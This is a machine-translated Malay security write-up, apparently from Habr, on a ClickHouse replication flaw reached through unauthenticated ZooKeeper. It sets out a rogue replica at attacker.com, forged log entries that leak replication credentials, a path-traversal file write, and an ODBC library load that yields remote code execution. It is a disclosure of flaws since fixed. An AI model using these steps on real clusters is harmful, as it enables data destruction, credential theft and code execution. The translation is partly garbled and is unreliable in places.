Artikel ini akan menceritakan kisah tentang kelemahan yang sangat khusus dalam protokol replikasi ClickHouse, dan juga akan menunjukkan bagaimana permukaan serangan boleh dikembangkan.
ClickHouse ialah pangkalan data untuk menyimpan jumlah data yang besar, selalunya menggunakan lebih daripada satu replika. Pengelompokan dan replikasi dalam ClickHouse dibina di atas
Pemasangan ZK lalai tidak memerlukan pengesahan, jadi beribu-ribu pelayan ZK yang digunakan untuk mengkonfigurasi Kafka, Hadoop, ClickHouse tersedia untuk umum.
Untuk mengurangkan permukaan serangan anda, anda harus sentiasa mengkonfigurasi pengesahan dan kebenaran apabila memasang ZooKeeper
Sudah tentu terdapat beberapa penyahserialisasian Java berasaskan 0hari, tetapi bayangkan bahawa penyerang boleh membaca dan menulis kepada ZooKeeper, digunakan untuk replikasi ClickHouse.
Apabila dikonfigurasikan dalam mod kluster, ClickHouse menyokong pertanyaan yang diedarkan /clickhouse/task_queue/ddl
.
Sebagai contoh, anda membuat nod /clickhouse/task_queue/ddl/query-0001
dengan kandungan:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
dan selepas itu, jadual ujian akan dipadamkan pada pelayan kluster hos1 dan hos2. DDL juga menyokong menjalankan pertanyaan CREATE/ALTER/DROP.
Bunyi menakutkan? Tetapi di manakah penyerang boleh mendapatkan alamat pelayan?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
nod akan dibuat lajur ΠΈ metadata.
Kandungan /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Adakah mungkin untuk menggabungkan data daripada kluster ini? Ya, jika port replikasi (TCP/9009
) pada pelayan chXX-address
firewall tidak akan ditutup dan pengesahan untuk replikasi tidak akan dikonfigurasikan. Bagaimana untuk memintas pengesahan?
Penyerang boleh mencipta replika baharu dalam ZK dengan hanya menyalin kandungan daripada /clickhouse/tables/01-01/foobar/replicas/chXX
dan mengubah makna host
.
Kandungan /clickhouse/tables/01β01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Kemudian anda perlu memberitahu replika lain bahawa terdapat blok data baharu pada pelayan penyerang yang perlu mereka ambil - nod dibuat dalam ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(Kaunter pertumbuhan monoton XX, yang sepatutnya lebih besar daripada yang terakhir dalam log peristiwa):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
mana replika_sumber β nama replika penyerang yang dibuat dalam langkah sebelumnya, block_id - pengecam blok data, mendapatkan - arahan "dapatkan blok" (dan
Seterusnya, setiap replika membaca peristiwa baharu dalam log dan pergi ke pelayan yang dikawal oleh penyerang untuk menerima blok data (protokol replikasi adalah binari, berjalan di atas HTTP). Pelayan attacker.com
akan menerima permintaan:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
dengan XXX ialah data pengesahan untuk replikasi. Dalam sesetengah kes, ini mungkin akaun dengan akses kepada pangkalan data melalui protokol ClickHouse utama dan protokol HTTP. Seperti yang anda lihat, permukaan serangan menjadi sangat besar kerana ZooKeeper, yang digunakan untuk replikasi, dibiarkan tanpa dikonfigurasikan pengesahan.
Mari kita lihat fungsi mendapatkan blok data daripada replika, ia ditulis dengan penuh keyakinan bahawa semua replika berada di bawah kawalan yang betul dan terdapat kepercayaan antara mereka.
kod pemprosesan replikasi
Fungsi membaca senarai fail, kemudian nama, saiz, kandungannya, dan kemudian menulisnya ke sistem fail. Perlu diterangkan secara berasingan cara data disimpan dalam sistem fail.
Terdapat beberapa subdirektori dalam /var/lib/clickhouse
(direktori storan lalai daripada fail konfigurasi):
bendera - direktori untuk rakaman
tmp β direktori untuk menyimpan fail sementara;
fail_pengguna β operasi dengan fail dalam permintaan adalah terhad kepada direktori ini (INTO OUTFILE dan lain-lain);
metadata β fail sql dengan penerangan jadual;
preprocessed_configs - fail konfigurasi terbitan diproses daripada /etc/clickhouse-server
;
data - direktori sebenar dengan data itu sendiri, dalam kes ini untuk setiap pangkalan data subdirektori berasingan hanya dibuat di sini (contohnya /var/lib/clickhouse/data/default
).
Untuk setiap jadual, subdirektori dicipta dalam direktori pangkalan data. Setiap lajur adalah fail berasingan bergantung pada
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replika menjangkakan untuk menerima fail dengan nama yang sama semasa memproses blok data dan tidak mengesahkannya dalam apa jua cara.
Pembaca yang penuh perhatian mungkin telah mendengar tentang gabungan nama_fail yang tidak selamat dalam fungsi WriteBufferFromFile
. Ya, ini membolehkan penyerang menulis kandungan sewenang-wenangnya ke mana-mana fail pada FS dengan hak pengguna clickhouse
. Untuk melakukan ini, replika yang dikawal oleh penyerang mesti mengembalikan respons berikut kepada permintaan (pemutus baris telah ditambahkan untuk memudahkan pemahaman):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
dan selepas penyatuan ../../../../../../../../../tmp/pwned
fail akan ditulis /tmp/pwned dengan kandungan hellofromzookeeper.
Terdapat beberapa pilihan untuk menukar keupayaan menulis fail kepada pelaksanaan kod jauh (RCE).
Kamus luar dalam RCE
Dalam versi yang lebih lama, direktori dengan tetapan ClickHouse disimpan dengan hak pengguna clickhouse lalai. Fail tetapan ialah fail XML yang dibaca oleh perkhidmatan pada permulaan dan kemudian disimpan dalam cache /var/lib/clickhouse/preprocessed_configs
. Apabila perubahan berlaku, ia dibaca semula. Jika anda mempunyai akses kepada /etc/clickhouse-server
penyerang boleh mencipta sendiri root
.
ODBC kepada RCE
Apabila memasang pakej, pengguna dicipta clickhouse
, tetapi direktori rumahnya tidak dibuat /nonexistent
. Walau bagaimanapun, apabila menggunakan kamus luaran, atau atas sebab lain, pentadbir mencipta direktori /nonexistent
dan berikan pengguna clickhouse
akses untuk menulis kepadanya (SSZB! lebih kurang penterjemah).
ClickHouse menyokong odbc-bridge
, jadi tidak mungkin lagi untuk menentukan laluan pemandu daripada permintaan. Tetapi bolehkah penyerang menulis ke direktori rumah menggunakan kelemahan yang diterangkan di atas?
Mari buat fail ~/.odbc.ini
dengan kandungan seperti ini:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
kemudian pada permulaan SELECT * FROM odbc('DSN=lalala', 'test', 'test');
perpustakaan akan dimuatkan test.so
dan menerima RCE (terima kasih
Ini dan kelemahan lain telah diperbaiki dalam ClickHouse versi 19.14.3. Jaga ClickHouse dan ZooKeepers anda!
Sumber: www.habr.com